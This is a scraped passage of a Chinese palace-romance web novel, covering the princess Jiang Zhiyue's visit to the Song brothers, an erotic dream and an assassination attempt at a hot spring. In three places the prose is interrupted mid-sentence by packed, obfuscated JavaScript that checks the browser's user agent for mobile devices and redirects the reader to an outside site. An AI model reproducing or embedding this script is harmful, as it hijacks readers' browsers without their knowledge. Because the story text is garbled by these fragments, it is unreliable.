“不在,她这几日都不在。不过就是姚盈初在又如何,我宋府大门又不是为她敞开的。” 一听宋知凌这话,姜稚月就想起了从前宋砚辞腿还好着的时候,她经常出宫来找他俩玩时。 那时候兄弟俩也笑着说,宋府的大门,永远只为她一人敞开。 那是个夏日的傍晚,凉风吹拂,夕阳映在宋砚辞琥珀色眸底,他说这句话时依然用那双深情的眼眸专注地看向她,笑意温柔。 姜稚月至今都记得自己那一瞬间,心跳得有多快。 见她半晌不说话,宋知凌扯了扯她的衣角。 姜稚月奇怪地看过去,就见他不知从哪儿变戏法一般掏出一个笼子。 “兔子?!” 姜稚月轻呼一声,上前接过去左右看了看,兴奋道: “你从哪儿弄来的?方才怎么没看见?!” 少女的眼睛亮晶晶的,氤氲着潋滟的春水,宋知凌吞了下口水: “送给你,喜欢么?” 其实他今日出城就是去替姜稚月猎兔子去了,京郊的翠微山上有种通体雪白体型小巧的雪兔,只在下雪天出没,且极难捕捉。 他本想捉回来寻着机会叫人送进宫,却不想在回来路上就碰见了她。 姜稚月重重点头,朝他弯起唇角,灵动的眼神中满是愉快的笑意: “喜欢,谢谢你,云笙!” “咳……” 宋知凌被她看得不自在,偏头揪了揪耳朵,结果刚一回头,脚步忽然顿住,“哥……” 姜稚月眼神巨震,顺着他的目光缓慢回过头去,笑意一下子僵在了唇角: “执玉哥哥。” 宋砚辞也不知道在那里多久了,洁白的毛领下面色瞧起来比平日里更加苍白,肩上落了一层薄雪。 他的视线从姜稚月披着的大氅上扫过,落在她手中的笼子上,掩唇轻咳一声,笑道: “兔子很可爱。” 姜稚月闻言,提着笼子的手一抖,慌忙背过手去,摸了摸鼻尖: “外面冷,执玉哥哥怎么出来了,今日落雪了,你的腿……” 两人上次不欢而散本就尴尬,姜稚月一见他又不由自主想起了昨日石嬷嬷说的那些话,更加没法直面宋砚辞的眼神。 小姑娘立在门口左看看右瞅瞅,就差将“心虚”两个字写在脸上了。 宋砚辞看了她一眼,语气平静: “屋中闷得慌。”他攥着轮椅转身,“出来看看这几株梅花,腿已经无碍了。公主来了,怎不叫人提前知会一声。” 姜稚月见他语气自然,神色无异,自己方才那点紧张和尴尬也随之淡了下去。 她悄悄将兔笼塞回宋知凌手中,顺着宋砚辞的视线朝一旁的白梅瞥了眼。 果然见那几株白梅枝干比之前疏了些,旁边的地上还放着一把银剪,和几株还未来得及收拾的树枝。 姜稚月抿了抿唇: “本也是出宫替兄长取两本书,想着离得不远,便顺便过来看看。” 姜稚月喜欢白梅,这几株还是宋砚辞腿好的时候几人一起栽下的。 往年一到冬日她就爱往雪竹苑跑,同宋砚辞兄弟二人一起料理这些白梅。 再后来宋砚辞腿断坐了轮椅,就成了他在一旁煮茶,她和宋知凌修剪料理,他偶尔从旁指导几句。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279254|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 每次修剪完后,她和宋知凌便围在宋砚辞的桌旁,喝他煮好的茶,有时候下棋,或者剥板栗吃。 但打从去年姚盈初出现后,在雪竹苑遇见过她几次,姜稚月便没怎么再来过了。 宋砚辞以为姜稚月说的是顺便来看看这些梅花,略一颔首,眼底不自觉浮现些许笑意,温声道: “可需要遣人给公主换一把剪刀?” 男人说话时,一片雪花恰巧飘下落在了他眼角的那颗红色泪痣上,又很快融化,晶亮的雪水像是挂在他眼角的一滴泪。 姜稚月怔怔地看过去,下意识想要伸手替他去擦,随即又猛地回神,收回手讪讪道: “不用,既然执玉哥哥已经修剪过了,我便不动手了,恰好我这次出来带了韩云,让他替你再看看可好?” 宋砚辞视线落在小姑娘那两根儿白皙纤细的手指上,见那小巧圆润的指腹拘谨地相互摩挲了几下,他抬起攥在轮椅上的手,轻轻将自己眼角那点水渍拭去。 冰凉的液体顺着指尖纹路丝丝蔓延,男人微微垂眸,声音如雪雾缭绕: “有盈初替我料理,还是不……” “哥!” 宋砚辞话未说完,宋知凌出声打断了他的话。 宋知凌离得近,能看到宋砚辞提起姚盈初时,小姑娘眼角陡然泛起的红晕。 他飞快扫了眼宋砚辞: “既然阿月已经来了,便让韩云为你看看,两个人诊治,总比一个人好些。” 宋砚辞攥着扶手,沉默地与他对视了片刻,最后轻笑一声,视线略过他落在姜稚月身上: “有劳公主。” 说罢,又对一旁的常乐吩咐: “去将我房里那件月白色团花纹披风拿来。” 见姜稚月不解,他一面转动轮椅,一面解释: “那件披风做得短些,公主穿在身上不至于拖地,且是新做成的,还未穿过。” 姜稚月脚步一顿,看着自己身上极不合身的墨色大氅,低低“哦”了一声,转头对宋知凌扮了个鬼脸。 谁料,那宋知凌见状,伸手极快地往她头上一敲,姜稚月猝不及防地捂着脑袋“嘶”了一声。 原本在他们前面的宋砚辞回头往二人面上瞥了一眼,对宋知凌道: “公主喝惯的明前龙井在耳房架子上,你去寻来。” 宋知凌走后,韩云也替宋砚辞看完后离开,屋中一时间安静了下来,姜稚月方才那点被压下去的尴尬又冒了上来。 宋砚辞视线往她手上扫了眼,骨节分明的手指捏着一方素白帕子,递了过去: “公主的手脏了。” 姜稚月一愣,顺着他的目光抬了抬手,这才发现自己左手手背上不知何时多出个极小的泥点。 她过去接过帕子,不自在道: “想必是方才云笙骑马时溅到的。” 对面的小姑娘嫣红的唇角微微绷着,柳眉轻轻颦起,手底下擦拭的动作略显急躁,颇有几分嫌弃的意味。 宋砚辞盯着她的动作,不知想到了什么,怔怔看了须臾,方回神道: “公主若是不介意,披风便留在雪竹苑,待下人清洗干净再给公主送回去。” 这小姑娘最爱美,那脏了的披风她出了门转头就会寻个地方扔了,定是不会叫那沾了泥污的东西进到车厢里的。 但宋砚辞依稀记得,今日她那披风是她最喜欢的一件,刚制成的时候便迫不及待拿给他们看过。 姜稚月擦手的动作一顿,抬头看向对面,诧异的眼神中带着隐隐的喜悦。 “执玉哥哥,你是不是……” 正要问话,宋知凌推门从外面进来。 姜稚月话音一顿,抿了抿唇,将想问的话慢吞吞咽了下去。 5. 第 5 章 宋知凌煮了茶递过来,顺手解了臂缚放在桌上。 “方才你们聊什么呢?怎么我进来还不说了?” “要你管。” 姜稚月瞪了他一眼,瞧见他的臂缚似是忽然想起了什么,忙唤来朱砂,“你去将马车上我放在抽屉的那本蓝皮书册拿过来。” 她回头对宋知凌眨眨眼,“上次答应替你找的《六韬》。” 宋知凌一愣,哈哈笑道: “想不到还真叫你给找到了!” “唔。” 姜稚月冲他挑了挑眉,将指甲放在唇边吹了下,脸上得意洋洋的小表情藏都藏不住,却还是故作漫不经心道: “那你以为呢?本公主想要的东西,哪有得不到的?” 话音刚落,姜稚月脸上笑意忽然一僵,下意识往宋砚辞的方向看了一眼。 这一眼好巧不巧正对上男人暗含深意的目光。 她的心倏地狂跳了一下,慌忙端起一旁的茶盏,又不小心被茶水烫得惊叫一声。 “当心!” 宋知凌飞快握住她的手接过茶杯,才避免了滚烫的茶水洒出来。 “多大的人了,怎么还是这么不小心……” 宋知凌从身后窗台上拿起一捧雪,捧着姜稚月的手敷在她泛红的手指上,小心翼翼吹了吹。 姜稚月嘴里胡乱应着,视线却不由落在宋砚辞那只放在膝头的手上。 若是方才她没看错,在她被烫的一瞬间,宋砚辞的动作其实是比宋知凌还要快的。 只不过他坐在轮椅上,离她有一段距离,腿又动不了,才在刚一抬起的时候,又落了下去放在了膝上。 她喉咙有些发紧,心跳得厉害。 视线顺着那只苍白修长的手一路向上,最后紧紧落在他的眼睛上。 然而在她视线看过来的前一刻,宋砚辞便移开了目光,攥着扶手,哑声道: “既然韩云已经看过了,公主与云笙聊吧,院中的梅花还未修剪完,我再去瞧瞧。” “宋砚辞!” 姜稚月在他将要转身的时候出声唤住他。 她很久没有连名带姓叫过他,宋砚辞拨动轮椅的手一滞。 姜稚月看着男人的背影,眼眶忽然发热,“你方才分明……” “公主!书拿来了!” 朱砂推门而入,急匆匆的声音打断了姜稚月的话。 几人的视线不约而同望了过去,又一同落在她手中那本书上。 然而这诡异的气氛着实让甫一进来的朱砂吓了一跳,手中的书册一滑,“吧嗒”一声掉在了地上。 屋外寒风一吹,书页“哗啦啦”翻了几页。 所有人都看到,那翻过的每一页上面,都画了一幅俊美男子的画像,旁边写着名字和一段家世生平及在朝中的现任职务等。 房中静了一瞬。 姜稚月缓缓回头,对上宋知凌幽深的目光,吞了吞口水:“……你听我狡辩。” “……” 还不等宋知凌说话,她的余光中便瞟见一只骨节分明的手落在了那册子上。 深蓝色册子衬得那只雪白如玉的手更加莹润,宋砚辞修长有力的手指攥着书页,轻轻翻了两页。 姜稚月喉咙发紧,紧盯着那手看了半天,忽然听得男人好听的嗓音淡淡道: “公主这是要……择婿?” 姜稚月心里忽然像是被一根极细的线提了一下,嫣红的唇轻轻抿了起来,下意识抬头望向男人。 门扉半掩,清冷的雪光从门外挤进来,斜斜照在男人冷白色的皮肤和雅白袍衫上,让他整个人看起来犹如笼罩在旁人无法触及的冰罩中,透着疏离的冷意。 光线只堪堪到他高挺的鼻梁处,双眸隐在暗影里,眼睫低垂盯着手中的册子,神情没什么波澜。 他又随手翻了两页,见无人答话,这才似疑惑般从册子里抬眸,琥珀色的眼睛平静地朝姜稚月看了过来。 姜稚月猛的一个激灵,攥在衣裙上的手心渗出黏腻的冷汗,小脸涨红,磕绊道: “皇、皇兄让我先瞧瞧……” “你要择婿?!” 话还未说完,宋知凌忽然一把攥住她的手腕,满脸急切: “你居然真的要择婿?!” 他手劲儿大,一时没收着,姜稚月疼得蹙起了眉,挣扎着小声嘟囔: “宋知凌你抓疼我了!” “不行!你说清楚,你……” “云笙。” 宋砚辞不知何时到了两人跟前,攥住宋知凌的手,也没见怎么用力,便将他的手卸了力。 对上宋知凌满脸急切的怒容,宋砚辞面无表情地与他对视半晌,垂眸淡淡道: “你僭越了。” 宋知凌拧眉: “何为僭越?以哥你的身份,你明知阿月她……” “云笙!” “宋知凌!” 姜稚月和宋砚辞不等他说完,一同出口喝住了他。 姜稚月不敢去看宋砚辞的眼神,只低着头,手中反复绞着帕子。 方才发现册子被拿错的一瞬间,她其实心里是升起过希冀的。 她盼着宋砚辞在知道了这件事之后,能表现出吃醋或者别的什么类似于吃醋的情绪来。 但他太平静了,仿佛早就料到了这件事,或者说他根本不在意她将要嫁给谁。 姜稚月忽然想起从前她不小心被轮椅砸了腿那件事。 当时她以为,她为他受伤,他至少会表现出心疼之类的情绪。 毕竟从前幼时,她就是不小心被板栗壳扎伤了手指,他都要温声哄她好半天。 最后见实在哄不好,还会捏个泥塑的小阿月给她,那圆鼓鼓的小包子一样的泥塑才总算是令她破涕为笑。 但那一次,宋砚辞等到御医赶来看过后,只是淡淡地看了她一眼,语气平静甚至带着些责备地对她说: “公主金尊玉贵,莫要再做这些无谓之事伤了玉体,我有盈初照顾便好。” 一想起那时候宋砚辞的表情和语气,即便过了这么久,姜稚月心中还是止不住泛上酸楚。 她强撑着扯了扯唇角,对宋知凌勾起一个比哭还难看的笑容: “时辰不早,我该回宫了,那本《六韬》只能下次给你再带来了。” 宋知凌颔首,小心翼翼觑着她的神色,“不着急,下次春狩的时候,你再拿给我都行。” 姜稚月弯了弯眼睛,笑道: “春狩我就不去啦,到时我让皇兄给你带过去。” “为什么?之前每次春狩咱们三个都要去的,你这次有什么事么?” 春狩每三年一次,自打姜稚月和宋氏兄弟玩在一起后,三人每次春狩都要好好赛上一场马,两次都是这般。 不等姜稚月说话,宋知凌似是想到了什么,往宋砚辞腿上一瞧,皱眉道: “哥你今年不会也不去了吧?” 姜稚月刚起身整理了衣衫,闻言动作不禁顿住,抬头朝轮椅上的男人看过去。 宋砚辞随手翻了两下册子,交还到朱砂手上,含笑道: “自是去的。” 他不紧不慢对上姜稚月的目光,琥珀色瞳眸如幽深的潭水,一字一顿带着温润笑意: “春狩儿郎众多,执玉担公主一声兄长之名,合该替公主于择婿一事上把把关才是。” 姜稚月圆睁的眼睛微微落了下来,抿了抿唇,笑道: “那你二人到时去罢,择婿在即,父皇和皇兄近日替我请了教习嬷嬷,届时我怕是没时间一同前往。” - 出了雪竹苑,姜稚月带着朱砂坐上太子派来接人的马车。 朱砂心里愧疚,抠着手指头,不住往姜稚月脸上瞟。 姜稚月叹了口气,道: “没什么的,怪我今日走得匆忙,拿错了书册,你不必愧疚。” 她的语气恹恹的,朱砂自是知道因为什么。 ——从前这大半年,公主几乎每次见完宋三皇子都是这幅情绪低落的模样。 朱砂替姜稚月倒了杯热茶便没敢再出声。 马车辘辘压过地上的积雪,姜稚月单手托腮,眼神不知飘向了何处。 又走了约莫半炷香的时间,姜稚月猛地回神,匆忙唤停了马车。 她往路对面的二公主府看了一眼,想了想,吩咐朱砂道: “你去给我二姐送上一坛梅花酿,顺便打听打听……公主府近来可有新买来的丫鬟。” 朱砂应了声是,动作利索地抱着酒坛下了马车。 看着朱砂的背影进去,姜稚月百无聊赖地将车帘一角绕在指尖把玩,心里还在纠结于半日后的春狩,自己到底是去还是不去。 宋砚辞对她择婿一事无动于衷,且还说要替她把关,姜稚月滞闷地想,既然他当真对她无半点男女之情,那她为何就不能硬气一回。 石嬷嬷说的对,她是公主,自是只有旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你不是同崔行舟喝酒去了么?” 执笔的男人抬眼扫了宋知凌一眼,复又低下头写着什么。 宋知凌将酒坛子放在窗边的小几上拍开,拿了两个酒盅给他和宋砚辞一人倒了一杯。 “有了薛家的梅花酿,谁还去酒肆喝那些马尿。” 时下世家讲究风雅,几乎大姓门第都有自己不予外传的独门绝活,像梁家是在园林布置上的造诣,吴东郡的崔家擅机栝关窍,而薛家则正是这独一手的梅花酿。 据说薛家的梅花酿,当初曾在隔壁的豫州炒出了百两银子一杯的天价。 宋砚辞视线往眼前那杯殷红的酒液上扫了一眼,重新低头写了两笔,“若是来找我喝酒,怕是得稍等片刻,等我将手头这……” “哥你真不知道这酒是谁给的?” 宋砚辞提笔蘸墨的动作一顿,削薄的眼皮下压,盯着眼前的青花海水纹笔架,默不作声。 宋知凌哼笑一声,举起酒杯一饮而尽。 “哥怎么不说话了?” 他半倚在书案一侧,语气不无讽刺: “这么多年,阿月对你我可谓照拂颇多,她一个公主做了她能做的所有。这京中人最会跟红顶白,你我虽为质子却也深受礼待,当中有多少人是看在‘昭华公主’的面子上,可是哥你呢?你与姚盈初……” “你的意思是,她对你我照拂颇多,她心悦我,我便合该也心悦她么?” 宋砚辞搁下笔,用帕子不紧不慢地擦手,神情也淡了下来: “在你看来,感情之事是该被当做交易的筹码么?” “可你从前明明也对阿月另眼相看,难不成——” 宋知凌眉头紧拧,“难不成你当真喜欢上了那个叫姚盈初的?” 宋砚辞淡淡瞟了他一眼,手落在膝上,“我喜欢谁与你何干?云笙,若无其他事,你先出去吧。” “怎与我无关?!” 宋知凌站直身子,音调不自觉抬高了不少: “今日你也看到了,太子如今要安排阿月择婿,我对阿月什么心思我相信哥不会不知道,从前我是顾及阿月对你的感情,一再隐忍,可你若是对阿月当真无意,那我便不会再顾及你了!” 宋知凌的语调高昂,语气中带着一丝说不清道不明的恼意。 话音刚落,门外檐上的雪便哗啦啦地掉了下来,就好似也被他的情绪所震动一般,紧接着,屋中再度陷入更为沉寂的缄默中。 空阒的房间里,只剩下宋知凌藏也藏不住的粗重喘息。 油灯轻晃,书案上的笔墨镇纸影子轻轻移了位。 良久。 宋砚辞放在膝上的手不动声色轻捻了几下,而后抬头直直望向宋知凌,微微勾唇,语气温润: “随你。” 6. 第 6 章 宋砚辞说罢,便转动轮椅,侧身去了一旁净手。 他削薄的眼皮微微向下收敛,眼睫毛轻垂,手底下一下下撩动清水发出“哗哗”声。 全神贯注的样子仿佛全世界就只剩了洗手这一件事,丝毫没有因宋知凌愤怒离开而受到半分影响。 宋砚辞的手干净修长,和他的人一样近乎完美。 只是较之于常人,白皙中多了一份病态的苍白,因此手背的青筋也更明显些,但却异常地更为好看。 晶莹的水珠顺着虬结蜿蜒的青筋缓缓滑落,滴在盆中漾出一圈圈涟漪。 一如两年半前他的腿还好着的那个夏天,他与姜稚月泛舟湖畔时船身漾出的涟漪。 那次他与姜稚月和宋知凌相约去游湖,宋知凌临时有事没能去成,但船都已经与船家租好,便只有他和姜稚月登了船。 姜稚月执意要自己划桨,小舟摇摇晃晃驶到了接天的莲叶丛中后终于不受控制,左右剧烈摇摆起来。 姜稚月站在船头,吓得惊呼一声丢掉船桨,整个人就要往湖中栽去。 宋砚辞本就一直注意着她的动静,眼疾手快一把将人拉了回来。 姜稚月顺着惯性跌进他怀中,原本因惊吓而苍白的脸色忽然就染得透红。 高大颀长的白衣男子怀中搂着一个红衣少女。 男人温润清隽,女子娇俏明媚。 夏日傍晚潮湿凉爽的清风吹拂,夕阳如碎金落在层层叠叠的莲叶间,小姑娘脸颊晕红,微微扬起似惊似羞的杏眸怔怔看着他。 那一个瞬间,如同一副鲜活而隽永的画卷。 晚上的时候,他难得做了一回有关于姜稚月的梦。 梦中的姜稚月同今日他见到的一样,鲜活张扬。 似乎又略微同今日有所不同。 梦中的她身上穿着一件大红色裹胸襦裙,外罩同色绣金丝牡丹纹纱衣。 圆润的肩膀锁骨和线条优美的小腿若隐若现,吹弹可破的肌肤藏在艳色纱衣下,耀如珠雪。 少女眼角眉梢都染着一抹嫣红春情,水光潋滟的眸似嗔似娇瞧着他,红唇像是春雨后饱满多汁的樱桃,被白皙小巧的贝齿轻轻咬着。 宋砚辞喉结滑滚,一股无名火蹿起。 见他这副模样,梦中那少女弯了弯眼尾,笑得狡黠,一双软嫩无骨的小手覆上他的手背,带着轻放在了她的小腹上。 宋砚辞顺着低头看去,这才发现她被红裙遮掩的小腹微微隆起。 他动作一僵,似乎突然明白过来,眼前少女那副骨子里的媚态从何而来。 手心里滑嫩细腻的肌肤和微微凸起的弧度,刹那间让他呼吸变得粗重,难以自持的情愫如翻江倒海的巨浪掀来。 昏暗逼仄的房间里幽香浮动,热浪翻涌。 姜稚月银铃般的笑凑近,红唇落在他的唇前,似引诱般呵气如兰,“执玉哥哥。” 春情浸透的声音慵懒得妩媚,嗓音像是能掐出水来。 宋砚辞目光下移,灼热的视线落在少女那近在咫尺的唇上,喉结重重滚了一下,眸光幽黯地沉下身来。 原本清冷的眼尾迅速蹿起一抹红。 就在双唇即将碰到那嫣红饱满的唇瓣时,少女忽然笑着远离他,带着他的手摸了摸她的小腹。 在他难以自持的近乎低吟的粗重喘息中,嗔怪道: “执玉哥哥干嘛呀,忘了告诉你了,这是我与云笙的孩子。” 她歪了歪脑袋,眉眼弯弯,笑容纯良无害: “你作为孩子的大伯,给它取个名字可好?” “啪嗒”一声,四周骤然陷入一片黑暗,宋砚辞猛地睁开眼睛。 方才的旖旎和滚烫烟消云散,取之而来的是清冷月光投下的灰色暗影,他大口喘息着冰冷的呼吸,尚未熄灭欲//火的眸底逐渐漫上阴翳。 “主……主子。” 常乐的声音带着惊惧,从床帐外小心翼翼传进来,“方、方才关窗时不慎将叉竿弄掉了,吵、吵醒您了?” 宋砚辞撑着身子坐起来,闭眼捏了捏眉心。 “无妨。” 男人的嗓音过了火一般,沙哑得厉害,“你过来收拾一下,再去叫人准备,我要沐浴。” 常乐闻言心中划过一抹疑惑,但当他上前来掀开床帐的时候,心中所有疑惑就都变成了讶然。 床上的男子一袭雅白色绸缎寝衣,一手撑在身后,一手按压额角,微微落下来的发梢搭在线条完美的脸侧,眼角一点朱红平添妖娆。 月光漫过来落在他身上,将那原本朗月清风的男人衬出几分醉玉颓山之姿。 一时间,常乐脑海中只能想到“堕仙”二字。 ——尤其是配上那浓重的独属于男人的欲味,和凌乱的床褥。 瞧见那处湿腻,常乐不敢再往主子脸上瞥一眼。 往前的数年,自打主子第一次梦中泄过一次后,他便再没见主子有过这等失态之时,在他看来,他的这个主子就是一个对男女之事极尽克制自持之人。 从前尚且还会因着那位小公主而有些情绪波动,但近一年来,尤其是姚姑娘出现后,主子便变得越发沉寂冷清。 今夜这一切…… 常乐陡然想起昨日,他端茶过来的时候,恰巧见到姚姑娘两靥绯红的从主子书房出来,莫不是主子今日的失常与那昨日而来的姚姑娘有关? 常乐不敢再往下想,拾掇了被褥,忙差人准备,伺候着主子更衣沐浴。 水声潺潺,濡湿的热汽袅袅氤氲着潮雾。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但宋砚辞艰难地摸索着,走了一炷香还多的时间。 月色清冷,四周寒霜四起,今日白天的雪虽停歇,地上却落了一层薄雪。 男人身穿单薄寝衣,系了件披风,额上沁出一层细密汗珠。 他的每一步都似有万箭穿透,痛意砭骨,好几次险些摔倒,褚屹上前去扶,又都被宋砚辞挥退了。 他回想着梦里,那少女贴着他时,自己那双完好健康的腿。 想起她不无讽刺地对他言笑晏晏,说让她替她与宋知凌的孩子起个名字。 宋砚辞在门前撑着站定,抬眸瞅了眼远处宋知凌的寝房,舌尖重重抵着齿尖,直到口中血腥味蔓延,他才复又低头盯着地上自己长身玉立的影子。 半晌,忽然自嘲般轻笑出声。 7. 第 7 章 姜稚月回到宫里后,情绪便一直恹恹的。 石嬷嬷来给她授课,瞧见她这幅模样,都不免叹息道: “公主前几日又去见了宋三皇子?” 姜稚月趴在桌上,懒洋洋地拨了拨兔笼子边上的白菜叶,喂到兔子嘴边,头也不抬唤了句: “石嬷嬷,您就别问了……” 石嬷嬷放下带来的书册,“公主可还记得,老奴上次给公主说过的一句话?” 见姜稚月从桌上抬起头,一双清凌凌的眼睛望过来,石嬷嬷笑道: “上次老奴不是跟公主说过,娶妻娶贤、纳妾纳色,如今外面那些世家子尚且知道,容色过盛的女子不适宜娶为妻室,恐不安分致使家宅不宁,按照宋三皇子那般在京中绝无仅有的姿容,公主还是不宜将其招为赘婿的。” “倒是宋四皇子,虽说与宋三皇子一母同胞,但姿容稍显内敛,且对公主言听计从,倒是可以考虑。” 姜稚月抽了抽嘴角,宋云笙最是以自己俊郎的容貌为荣,若是让那厮知道石嬷嬷这般拿他与执玉哥哥比较,还不得气得跳脚。 她听完石嬷嬷的话,没精打采地重新趴了回去,哀叹一声: “嬷嬷就别拿我打趣了,您还是直接授课吧。” 姜稚月现在已经对石嬷嬷讲授的课程见惯不怪了。 今日石嬷嬷开始为她条分缕析那本册子上,各家儿郎的品性、家世等,容貌倒没做太大参考。 姜稚月撑着脑袋,听了一耳朵有的没的,才终于熬到了午膳时。 歇过晌后,天空放了晴。 房檐下的冰凌在阳光下折射出七彩光华,枯枝和落梅横七竖八地躺在地上,被檐上滴下的水珠打湿。 房间里被火炉烤得暖洋洋的。 朱砂掀开厚重的门帘进来的时候,手中拿着一封书信和一个金丝楠木匣子。 “我二姐回消息了?” 姜稚月坐过去,指了指匣子,“这是什么?” 朱砂把信递过去,又将匣子打开,里面整整齐齐地摆放着六个粉玉小罐子。 “奴婢回来的时候,恰巧遇见了薛姑娘,她说给公主的玫瑰露已经做好了,让奴婢随她一起去府上取了来。” “这么快?!” 姜稚月有些吃惊,不过心情倒是因为这些粉色小瓶子而有了好转。 她从里面挑了一瓶出来,“你去帮我准备一下,今夜我要好好沐浴梳洗一番。” 上次姜稚月在二公主府门口瞧见的那个身影,与幼年时救下她与二姐的那个女人十分相像。 但她那时候尚且年幼,有许多细节都记不清楚了。 只依稀记得,对方是个拥有蓝色眼睛的外族女人,另外令她印象最深的,是那个女子胸前的一抹红莲状的胎记。 姜稚月本想亲自去公主府问问当年之事,但因过几日外祖父一家就要进京,最近太子哥哥看她看得紧,便只好先差人给二姐去了一封信。 待朱砂一走,她便迫不及待地拆开姜宜宁给自己的回信。 姜宜宁在信里对当年之事,以及救她们的那个女人做了详细描写。 姜稚月一一对过去,都与那日自己瞧见的那个身影对得上。 她撑着下颌,粉腮鼓了鼓,有些遗憾那日自己没能追上那个女人。 - 璋华殿是宫中为数不多的自带温泉花园的宫殿。 因着咸德帝偏爱,给了姜稚月居住,另一处则赏赐给了栖霞殿的惠妃。 虽是冬日,但因着温泉的缘故,花园中早已温暖如春。 鹅卵石小路旁每隔五步便放置着一颗夜明珠,一直沿着葳蕤的花木蜿蜒到水汽氤氲的温泉边。 温泉池足足有半个宫殿那般大,在池子的东南角有个水榭,而在水榭之下的池中修葺了一个可坐可躺的石阶。 石阶四周布置着双层粉色纱幔,纱幔的底部垂下飘在水面上,恰好挡住里面的人影。 夜风一吹,花枝颤颤,水雾袅袅,纱幔蹁跹,仿若人间仙境一般。 姜稚月在来泡温泉以前,已经洗过一次牛奶浴了。 她穿着薄如蝉翼的纱裙,细嫩白皙的双臂伏在池边,墨发如绸,沿着肩背一路搭在不盈一握的柳腰上,尽显玲珑妙曼。 少女将下颌垫在手臂上,一张昳丽精致的小脸泛着潮红,半眯起的杏眸中水雾氤氲,朱唇水润。 仿佛芙蓉初绽,皎若春华。 朱砂扫过公主娇颜,紧张地吞了吞口水,轻撩起一勺温水浇在面前如凝脂一般白里透粉的肌肤上。 公主爱美,也有美得资本,性子虽有贵为金枝玉叶的娇矜,却不娇纵。 京中多的是优秀郎君对公主趋之若鹜,她就想不明白了,宋三皇子如何拒绝得了公主这般的女郎。 “公主。” 朱砂替她洗了发,见姜稚月身子骨软绵绵地越趴越低,知她是泡累了,起身道: “您稍后,奴婢去拿玫瑰露。” 姜稚月绵软无力地点了点头,眼都不抬极轻地应了声。 朱砂从池里出去,行至外间,忽又顿住脚步,回头朝姜稚月看了须臾。 也不知朱砂去了多久,姜稚月久等不至,半阖的眸慢慢睁大透过纱幔向外望去。 眼底的困意都还未彻底消失,忽觉一阵冷风袭来,帐外银光一闪。 浓重的杀意乍起,四面袭来。 姜稚月猛地瞪大眼睛,下意识朝后躲去,死死咬住唇才没有让自己惊呼出声。 就在纱幔被剑刃劈开,水花四散的一刹那,姜稚月抓起手边的茶杯重重朝逼近的黑衣人扔去。 “咣当”一声,茶杯砸在黑衣人的刀刃上。 黑衣人愣了愣神,忽然举刀发狠劈了过来。 姜稚月再控制不住自己,惊叫出声,拖着颤抖的双腿向旁侧躲去。 却不想旁边便是石阶尽头,她脚一踩空便朝池水中跌了进去。 温暖的水流漫过头顶的一刹那,姜稚月的心也跟着沉了下去。 就在她不住下坠几近窒息的时候,腰上忽然被一只有力的手臂圈住,整个人被带离了水中。 还不等她反应过来,又被塞进了另一个温暖的怀抱。 姜稚月抬眼望去,她此刻正被宋砚辞抱在怀中,而一旁宋知凌浑身湿透,正与其中一个黑衣人头领在缠斗。 “先带阿月回去。” 宋知凌头也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279257|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不回。 宋砚辞低头看了一眼几乎衣不蔽体的少女,不自觉蹙眉,也顾不得许多,将自己身上的披风卸下紧紧裹在姜稚月身上。 “我先送你回去。” 他的嗓音沙哑,说完不等姜稚月回话,便已转动轮椅朝花园外行去。 这一切变故发生在电光石火间,出了花园许久,姜稚月才在冷风的吹拂下回过了神。 身上裹着的披风还留有宋砚辞身上冷冽干净的气息,耳畔紧贴着男人紧实的胸膛,温热的气息和有力的心跳一同传来。 她紧了紧领口,悄悄从他怀中抬头。 月色下,宋砚辞目视前方,眼神如一贯的平静,唇角却微不可察地紧绷了起来。 沿着男人干脆利落的下颌线往下,姜稚月的目光无意识就落在了他的喉结上。 宋砚辞的皮肤冷白光滑,脖颈上细小的青蓝色脉络若隐若现,轮廓分明的喉骨嵌在上面嶙峋锋利,充满力量感和侵略性。 许是察觉到她的目光,男人喉结不自觉上下蠕动了两下。 姜稚月下意识抬眸朝男人的脸上看去,却发现宋砚辞不知从何时起,正用幽深如渊的目光紧锁着自己。 他的视线带着滚烫深意,缓慢下滑,最后定在她的唇上。 姜稚月的心不受控制地狂跳起来,呼吸陡然加重,胸脯急促剧烈地起伏着。 “执玉哥哥,我怕。” 姜稚月抱住宋砚辞的腰,嗓音绵软无力,带着一丝她自己都不曾察觉的颤抖。 宋砚辞喉咙间刹那泛上一股痒意,眸色幽沉,重新看向她的眼睛。 少女水雾朦胧的眸中带着不堪承受的慌乱,眼尾处一抹脆弱的潮红。 朱唇轻启,白皙整齐的贝齿下隐约看见一小截儿鲜嫩滑软的舌尖,随着她说话的动作时隐时现,似是勾着人进去重重索取。 怀中的少女在月光下如一只清纯却蛊惑人心的小妖精。 宋砚辞的脑中不自觉浮现出昨夜那个荒唐的梦。 梦里那个小腹微鼓、尽态极妍的少妇,同眼前的少女逐渐重叠成为一人。 